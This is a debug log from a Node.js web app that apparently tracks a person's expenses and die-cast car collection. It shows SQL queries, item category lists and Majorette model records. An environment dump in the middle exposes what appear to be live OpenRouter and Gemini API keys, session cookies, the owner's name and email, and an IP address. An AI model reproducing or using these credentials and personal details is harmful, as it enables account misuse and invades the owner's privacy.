      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:47:57.968Z server-connect:router Serving templateView /diecast
2026-02-04T10:47:57.968Z server-connect:app Executing action step identify
2026-02-04T10:47:57.969Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:57.969Z server-connect:output identity: 1
2026-02-04T10:47:57.969Z server-connect:app Executing action step restrict
2026-02-04T10:47:57.969Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:47:57.969Z server-connect:output restrict: undefined
2026-02-04T10:47:57.969Z server-connect:router Render template layouts/main
2026-02-04T10:47:57.969Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '171',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=171&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T10:47:59.034Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T10:47:59.036Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T10:47:59.037Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:47:59.038Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:47:59.038Z server-connect:app Executing action step identify
2026-02-04T10:47:59.038Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:59.038Z server-connect:output identity: 1
2026-02-04T10:47:59.038Z server-connect:app Executing action step restrict
2026-02-04T10:47:59.038Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:59.039Z server-connect:app Executing action step identify
2026-02-04T10:47:59.039Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:59.039Z server-connect:output identity: 1
2026-02-04T10:47:59.039Z server-connect:app Executing action step restrict
2026-02-04T10:47:59.039Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:59.041Z server-connect:output restrict: undefined
2026-02-04T10:47:59.041Z server-connect:app Executing action step select
2026-02-04T10:47:59.041Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T10:47:59.041Z server-connect:app Executing action step identify
2026-02-04T10:47:59.041Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:59.041Z server-connect:output identity: 1
2026-02-04T10:47:59.041Z server-connect:app Executing action step restrict
2026-02-04T10:47:59.041Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:59.041Z server-connect:app Executing action step identify
2026-02-04T10:47:59.042Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:59.042Z server-connect:output identity: 1
2026-02-04T10:47:59.042Z server-connect:app Executing action step restrict
2026-02-04T10:47:59.042Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:59.043Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:47:59.043Z server-connect:output restrict: undefined
2026-02-04T10:47:59.043Z server-connect:app Executing action step single
2026-02-04T10:47:59.043Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T10:47:59.043Z server-connect:app Executing action step identify
2026-02-04T10:47:59.043Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:59.043Z server-connect:output identity: 1
2026-02-04T10:47:59.043Z server-connect:app Executing action step restrict
2026-02-04T10:47:59.043Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:59.045Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T10:47:59.045Z server-connect:app Executing action step identify
2026-02-04T10:47:59.045Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:59.045Z server-connect:output identity: 1
2026-02-04T10:47:59.045Z server-connect:app Executing action step restrict
2026-02-04T10:47:59.045Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:59.050Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T10:47:59.051Z server-connect:output restrict: undefined
2026-02-04T10:47:59.051Z server-connect:app Executing action step select
2026-02-04T10:47:59.051Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:47:59.053Z server-connect:output restrict: undefined
2026-02-04T10:47:59.054Z server-connect:app Executing action step select
2026-02-04T10:47:59.054Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:47:59.054Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T10:47:59.055Z server-connect:output restrict: undefined
2026-02-04T10:47:59.055Z server-connect:app Executing action step paged
2026-02-04T10:47:59.055Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:47:59.056Z server-connect:output restrict: undefined
2026-02-04T10:47:59.056Z server-connect:app Executing action step select
2026-02-04T10:47:59.056Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:47:59.057Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T10:47:59.058Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T10:47:59.060Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:47:59.061Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:47:59.063Z server-connect:app Executing action step identify
2026-02-04T10:47:59.063Z server-connect:app options: { provider: 'security' }
2026-02-04T10:47:59.063Z server-connect:output identity: 1
2026-02-04T10:47:59.063Z server-connect:app Executing action step restrict
2026-02-04T10:47:59.063Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:47:59.063Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
